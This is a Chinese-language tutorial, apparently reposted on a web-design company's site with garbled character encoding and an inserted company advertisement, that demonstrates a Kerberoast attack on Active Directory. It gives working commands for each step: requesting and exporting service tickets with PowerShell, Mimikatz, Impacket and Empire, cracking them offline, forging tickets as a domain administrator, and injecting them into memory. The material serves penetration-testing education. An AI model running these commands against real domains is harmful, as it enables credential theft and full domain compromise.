這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)碛嘘P(guān)如何進(jìn)行Kerberoast攻擊演示,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
創(chuàng)新互聯(lián)建站是一家專業(yè)提供湘橋企業(yè)網(wǎng)站建設(shè),專注與成都做網(wǎng)站、網(wǎng)站制作、成都外貿(mào)網(wǎng)站建設(shè)、H5網(wǎng)站設(shè)計(jì)、小程序制作等業(yè)務(wù)。10年已為湘橋眾多企業(yè)、政府機(jī)構(gòu)等服務(wù)。創(chuàng)新互聯(lián)專業(yè)的建站公司優(yōu)惠進(jìn)行中。
簡(jiǎn)單直白的說Kerberoast攻擊,就是攻擊者為了獲取目標(biāo)服務(wù)的訪問權(quán)限,而設(shè)法破解Kerberos服務(wù)票據(jù)并重寫它們的過程。這是紅隊(duì)當(dāng)中非常常見的一種攻擊手法,因?yàn)樗恍枰c服務(wù)目標(biāo)服務(wù)進(jìn)行任何交互,并且可以使用合法的活動(dòng)目錄訪問來請(qǐng)求和導(dǎo)出可以離線破解的服務(wù)票據(jù),以獲取到最終的明文密碼。之所以出現(xiàn)這種情況,是因?yàn)榉?wù)票據(jù)使用服務(wù)帳戶的散列(NTLM)進(jìn)行加密,所以任何域用戶都可以從服務(wù)轉(zhuǎn)儲(chǔ)散列,而無需將shell引入運(yùn)行該服務(wù)的系統(tǒng)中。
攻擊者通常會(huì)選擇那些可能設(shè)置了弱密,碼破解成功率較高的票據(jù)來嘗試破解。一旦攻擊者成功破解出了票據(jù),他們有時(shí)不僅僅獲取的只是服務(wù)訪問權(quán)限,如果服務(wù)被配置為在高權(quán)限下運(yùn)行,那么整個(gè)域都將可能被攻擊者拿下。這些票據(jù)可以通過考慮多種因素來識(shí)別,例如:
SPNs綁定到域用戶賬戶
最后一次密碼設(shè)置(Password last set)
密碼過期時(shí)間
最后一次登錄(Last logon)
具體來說,Kerberoast攻擊涉及以下五個(gè)步驟:
服務(wù)主體名稱(SPN)發(fā)現(xiàn)
請(qǐng)求服務(wù)票據(jù)
導(dǎo)出服務(wù)票據(jù)
破解服務(wù)票據(jù)
重寫服務(wù)票據(jù)&RAM注入
在服務(wù)主體名稱(SPN)發(fā)現(xiàn)這篇文章中,已經(jīng)為大家介紹了如何通過查詢Active Directory的服務(wù)主體名稱,來發(fā)現(xiàn)網(wǎng)絡(luò)中服務(wù)的方法。
為特定SPN請(qǐng)求服務(wù)票據(jù)的最簡(jiǎn)單方法是通過PowerShell,這個(gè)方法是Tim Medin在DerbyCon 4.0演講中介紹的。
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
執(zhí)行klist命令將列出所有可用的緩存票據(jù)。
klist
請(qǐng)求服務(wù)票據(jù)的另一種解決方案是通過Mimikatz指定服務(wù)主體名稱作為目標(biāo)。
kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80
與klist類似,內(nèi)存中存在的Kerberos票據(jù)列表可以通過Mimikatz來檢索。從現(xiàn)有的PowerShell會(huì)話中,Invoke-Mimikatz腳本將輸出所有票據(jù)。
Invoke-Mimikatz -Command '"kerberos::list"'
或者,加載Kiwi模塊添加一些額外的Mimikatz命令,它們也可以執(zhí)行相同的任務(wù)。
load kiwi kerberos_ticket_list
還或者可以通過執(zhí)行一個(gè)自定義的Kiwi命令:
kiwi_cmd kerberos::list
Impacket中有一個(gè)python模塊,它可以請(qǐng)求僅屬于域用戶的Kerberos服務(wù)票據(jù),與計(jì)算機(jī)帳戶服務(wù)票據(jù)相比應(yīng)該更易于破解。但是,想要與Active Directory進(jìn)行交互,需要有效的域憑據(jù),因?yàn)樗鼘牟粚儆谟虻南到y(tǒng)執(zhí)行。
./GetUserSPNs.py -request pentestlab.local/test
服務(wù)帳戶哈希也將以John the Ripper格式檢索。
使用Matan Hart開發(fā)的PowerShell模塊可以幫助我們自動(dòng)識(shí)別弱服務(wù)票據(jù),該模塊是RiskySPN中的一部分。主要作用是對(duì)屬于用戶的可用服務(wù)票據(jù)執(zhí)行審計(jì),并根據(jù)用戶帳戶和密碼過期時(shí)限來查找最容易包含弱密碼的票據(jù)。
Find-PotentiallyCrackableAccounts -FullData -Verbose
該腳本將提供比klist和Mimikatz更詳細(xì)的輸出,包括組信息,密碼有效期和破解窗口。
使用domain參數(shù)執(zhí)行同一模塊,將返回所有具有關(guān)聯(lián)服務(wù)主體名稱的用戶帳戶。
Find-PotentiallyCrackableAccounts -Domain "pentestlab.local"
服務(wù)票據(jù)信息也可以以CSV格式導(dǎo)出,以便離線查看。
Export-PotentiallyCrackableAccounts
所有出現(xiàn)在控制臺(tái)中的票據(jù)信息都將被寫入文件中。
這里還有一個(gè)腳本(相同存儲(chǔ)庫(kù)的一部分),可以通過其SPN為服務(wù)實(shí)例獲取服務(wù)票據(jù)。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80"
Tim Medin的Kerberoast工具包已實(shí)現(xiàn)流程的自動(dòng)化。Auto-Kerberoast中包含了Tim的原始腳本,其中包含兩個(gè)可執(zhí)行各種功能的PowerShell腳本,例如以Base64, John和Hashcat格式列出和導(dǎo)出服務(wù)票據(jù)等。
List-UserSPNs
還有一個(gè)domain參數(shù)可以只列出特定域的SPN。
List-UserSPNs -Domain "pentestlab.local"
Mimikatz是可以導(dǎo)出Kerberos服務(wù)票據(jù)的標(biāo)準(zhǔn)工具。從PowerShell會(huì)話中,以下命令將列出內(nèi)存中的所有可用票據(jù),并將其保存在遠(yuǎn)程主機(jī)中。
Invoke-Mimikatz -Command '"kerberos::list /export"'
同樣,PowerShell Empire有一個(gè)模塊可以自動(dòng)完成Kerberos服務(wù)票據(jù)提取任務(wù)。
usemodule credentials/mimikatz/extract_tickets
該模塊將使用Invoke-Mimikatz函數(shù)自動(dòng)執(zhí)行以下命令。
standard::base64 kerberos::list /export
支持Kerberos身份驗(yàn)證的服務(wù)票據(jù)哈??梢灾苯邮褂肞owerShell Empire模塊提取。哈希的格式可以提取為John或Hashcat。
usemodule credentials/invoke_kerberoast
該模塊將檢索所有服務(wù)帳戶的密碼哈希值。
AutoKerberoast PowerShell腳本將請(qǐng)求并提取base64格式的所有服務(wù)票據(jù)。
Invoke-AutoKerberoast
AutoKerberoast存儲(chǔ)庫(kù)中還有一個(gè)腳本,它將以hashcat兼容格式顯示提取的票據(jù)。
屬于特定域的提升組的票據(jù)也可以提取用于更具針對(duì)性的Kerberoasting。
Invoke-AutoKerberoast -GroupName "Domain Admins" -Domain pentestlab.local -HashFormat John
Matan Hart開發(fā)的Get-TGSCipher PowerShell模塊,可以以三種不同的格式提取服務(wù)票據(jù)的密碼哈希值:John,Hashcat和Kerberoast。可以在SPN發(fā)現(xiàn)過程中檢索腳本所需的關(guān)聯(lián)服務(wù)的服務(wù)主體名稱。
Get-TGSCipher -SPN "PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80" -Format John TGSCipher - Service Ticket Hash
使用Get-TGSCipher函數(shù)的好處是,無需使用Mimikatz導(dǎo)出票據(jù),這可以大大降低警報(bào)的觸發(fā),以及省去將票據(jù)轉(zhuǎn)換為john格式的步驟。
python腳本tgsrepcrack是Tim Medin Kerberoast工具包的一部分,可以通過提供的密碼列表來破解Kerberos票據(jù)。
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi
Lee Christensen開發(fā)了一個(gè)名為extractServiceTicketParts的python腳本,它可以為我們提取服務(wù)票據(jù)的哈希值,以及一款Go語(yǔ)言編寫的哈希破解器tgscrack ,兩者可以配合使用。
python extractServiceTicketParts.py PENTESTLAB_001.kirbi
tgscrack需要我們?yōu)槠渲付üN募约白值湮募谋镜卮娣怕窂健?/p>
tgscrack.exe -hashfile hash.txt -wordlist passwords.txt
密碼將以明文顯示。
如果PowerShell remoting已啟用,則可以使用從服務(wù)票據(jù)中檢索的密碼執(zhí)行遠(yuǎn)程命令等操作。
Enable-PSRemoting $pass = 'Password123' | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList 'PENTESTLAB_001', $pass Invoke-Command -ScriptBlock {get-process} -ComputerName WIN-PTELU2U07KG.PENTESTLAB.LOCAL -Credential $creds
正在運(yùn)行的進(jìn)程列表將被檢索
Kerberos票據(jù)使用密碼的NTLM哈希簽名。如果票據(jù)散列已被破解,那么可以使用Kerberoast python腳本重寫票據(jù)。這將允許在服務(wù)將被訪問時(shí)模擬任何域用戶或偽造賬戶。此外,提權(quán)也是可能的,因?yàn)橛脩艨梢员惶砑拥街T如域管理員的高權(quán)限組中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下Mimikatz命令將新票據(jù)重新注入內(nèi)存,以便通過Kerberos協(xié)議對(duì)目標(biāo)服務(wù)執(zhí)行身份驗(yàn)證。
kerberos::ptt PENTESTLAB.kirbi
上述就是小編為大家分享的如何進(jìn)行Kerberoast攻擊演示了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。